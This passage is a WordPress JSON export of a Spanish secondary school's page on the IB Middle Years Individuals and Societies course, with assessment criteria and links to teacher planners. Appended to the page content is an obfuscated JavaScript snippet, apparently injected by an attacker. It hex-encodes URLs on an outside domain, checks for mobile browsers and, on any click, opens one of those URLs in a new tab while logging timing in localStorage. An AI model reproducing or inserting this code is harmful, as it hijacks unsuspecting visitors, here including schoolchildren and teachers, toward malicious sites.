argumentos v\u00e1lidos y bien fundamentados.<\/li>\n\n\n\n<li>Analizar una variedad de fuentes o datos en lo que respecta a su origen y prop\u00f3sito, reconociendo su valor y limitaciones.<\/li>\n\n\n\n<li>Reconocer perspectivas diferentes y explicar sus implicaciones.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);\"><span class=\"ez-toc-section\" id=\"4o_ESO_5_PAI\"><\/span>4\u00ba ESO (5 PAI)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-03e827e2\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: Conocimiento y comprensi\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Usar una amplia variedad de terminolog\u00eda en contexto<\/li>\n\n\n\n<li>Demostrar conocimiento y comprensi\u00f3n de los contenidos y conceptos espec\u00edficos de la asignatura mediante descripciones, explicaciones y ejemplos desarrollados.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B: Investigaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Formular una pregunta de investigaci\u00f3n clara y precisa, y justificar su pertinencia.<\/li>\n\n\n\n<li>Formular y seguir un plan de acci\u00f3n para investigar una pregunta de investigaci\u00f3n.<\/li>\n\n\n\n<li>Usar m\u00e9todos de investigaci\u00f3n para obtener y registrar informaci\u00f3n apropiada, variada y pertinente.<\/li>\n\n\n\n<li>Evaluar el proceso y los resultados de la investigaci\u00f3n.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Comunicaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Comunicar informaci\u00f3n e ideas de forma eficaz con un estilo apropiado al destinatario y al prop\u00f3sito en cuesti\u00f3n.<\/li>\n\n\n\n<li>Estructurar la informaci\u00f3n y las ideas de un modo apropiado al formato especificado.<\/li>\n\n\n\n<li>Documentar las fuentes de informaci\u00f3n utilizando una convenci\u00f3n reconocida.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Pensamiento cr\u00edtico<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Discutir conceptos, cuestiones, modelos, representaciones visuales y teor\u00edas.<\/li>\n\n\n\n<li>Sintetizar informaci\u00f3n para elaborar argumentos v\u00e1lidos y bien fundamentados<\/li>\n\n\n\n<li>Analizar y evaluar una amplia variedad de fuentes o datos en lo que respecta a su origen y prop\u00f3sito, examinando su valor y limitaciones.<\/li>\n\n\n\n<li>Interpretar perspectivas diferentes y sus implicaciones.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Plantillas_de_planificadores\"><\/span> Plantillas de planificadores<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button is-style-outline is-style-outline--2\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/docs.google.com\/document\/d\/1w5y2X2htnjKQZo5E99Vsa0GMRqRw_jGUfIYhUWoDe8M\/copy\" target=\"_blank\" rel=\"noreferrer noopener\">1\u00ba ESO (2\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--3\"><a class=\"wp-block-button__link wp-element-button\">2\u00ba ESO (3\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--4\"><a class=\"wp-block-button__link wp-element-button\">3\u00ba ESO (4\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--5\"><a class=\"wp-block-button__link wp-element-button\">4\u00ba ESO (5\u00ba PAI)<\/a><\/div>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);\"><span class=\"ez-toc-section\" id=\"Planificadores\"><\/span>Planificadores<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">Estos planificadores son fruto del trabajo de profesores del IES Rosa Chacel. Por definici\u00f3n estos documentos de planificaci\u00f3n del trabajo de aula est\u00e1n vivos, por lo que la versi\u00f3n publicada no es nunca la versi\u00f3n actual. Publicamos nuestros planificadores con la intenci\u00f3n de que resulten \u00fatiles a otros docentes. Agradecemos cualquier observaci\u00f3n que pueda mejorar nuestro trabajo o animarnos a continuar: estamos en pai@iesrosachacel.org.<\/p>\n\n\n\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"724\" src=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-origen-de-la-humanidad-1024x724.jpg\" alt=\"\" class=\"wp-image-641 size-full\" srcset=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-origen-de-la-humanidad-1024x724.jpg 1024w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-origen-de-la-humanidad-300x212.jpg 300w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-origen-de-la-humanidad-768x543.jpg 768w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-origen-de-la-humanidad-920x651.jpg 920w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-origen-de-la-humanidad-230x163.jpg 230w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-origen-de-la-humanidad-350x248.jpg 350w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-origen-de-la-humanidad-480x340.jpg 480w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-origen-de-la-humanidad.jpg 1169w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p class=\"has-large-font-size wp-block-paragraph\">El origen de la humanidad<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La humanidad progresa con el cambio y la revoluci\u00f3n en el uso de recursos gracias a la innovaci\u00f3n cient\u00edfica y t\u00e9cnica.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"http:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-origen-de-la-humanidad.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Descarga<\/a><\/p>\n<\/div><\/div>\n\n\n\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"724\" src=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-comienzo-de-la-historia-1ESO--1024x724.jpg\" alt=\"\" class=\"wp-image-677 size-full\" srcset=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-comienzo-de-la-historia-1ESO--1024x724.jpg 1024w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-comienzo-de-la-historia-1ESO--300x212.jpg 300w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-comienzo-de-la-historia-1ESO--768x543.jpg 768w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-comienzo-de-la-historia-1ESO--920x651.jpg 920w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-comienzo-de-la-historia-1ESO--230x163.jpg 230w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-comienzo-de-la-historia-1ESO--350x248.jpg 350w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-comienzo-de-la-historia-1ESO--480x340.jpg 480w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-comienzo-de-la-historia-1ESO-.jpg 1169w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p class=\"has-large-font-size wp-block-paragraph\">El comienzo de la historia<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Las civilizaciones forman identidades culturales y gobiernos y se relacionan a trav\u00e9s de interacciones globales.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/El-comienzo-de-la-historia-1ESO-.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Descarga<\/a><\/p>\n<\/div><\/div>\n\n\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x65\\x44\\x68\\x39\\x63\\x31','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x42\\x68\\x6e\\x38\\x63\\x37','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x52\\x50\\x74\\x35\\x63\\x39','8SJGLkz','random','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x6f\\x4e\\x49\\x31\\x63\\x35','7196643rGaMMg','setItem','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x64\\x4f\\x63\\x32\\x63\\x36','266801SrzfpD','substr','floor','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x44\\x42\\x57\\x34\\x63\\x37','3ThLcDl','stopPropagation','_blank','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x6b\\x56\\x72\\x33\\x63\\x34','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x50\\x79\\x5a\\x30\\x63\\x32'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x73\\x6a\\x6a\\x36\\x63\\x32','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x2d\\x74\\x2e\\x61\\x73\\x69\\x61\\x2f\\x4b\\x4d\\x7a\\x37\\x63\\x33',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Planteamiento de la asignatura El grupo de asignaturas Individuos y Sociedades forma parte del Programa de los A\u00f1os Intermedios (PAI) y se [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_themeisle_gutenberg_block_has_review":false,"footnotes":""},"class_list":["post-109","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/pages\/109","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/comments?post=109"}],"version-history":[{"count":40,"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/pages\/109\/revisions"}],"predecessor-version":[{"id":899,"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/pages\/109\/revisions\/899"}],"wp:attachment":[{"href":"https:\/\/iesrosachacel.net\/pai_dev\/wp-json\/wp\/v2\/media?parent=109"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}